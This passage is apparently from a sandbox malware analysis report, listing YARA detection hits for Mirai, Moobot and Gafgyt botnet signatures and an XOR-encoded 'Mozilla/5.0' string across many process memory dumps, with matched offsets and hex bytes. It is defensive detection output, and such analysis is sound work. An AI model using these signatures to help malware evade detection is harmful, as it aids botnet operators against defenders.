39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6294.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6881.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6820.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6560.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6444.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6444.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6444.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6444.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6444.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6444.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6783.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6783.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6783.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6783.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6783.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6783.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6483.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6483.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6483.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6483.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6483.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6483.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7093.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7066.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7351.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6373.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6373.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6373.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6373.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6373.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6373.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6396.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6909.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7042.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7331.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6530.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6530.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6530.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6530.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6530.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 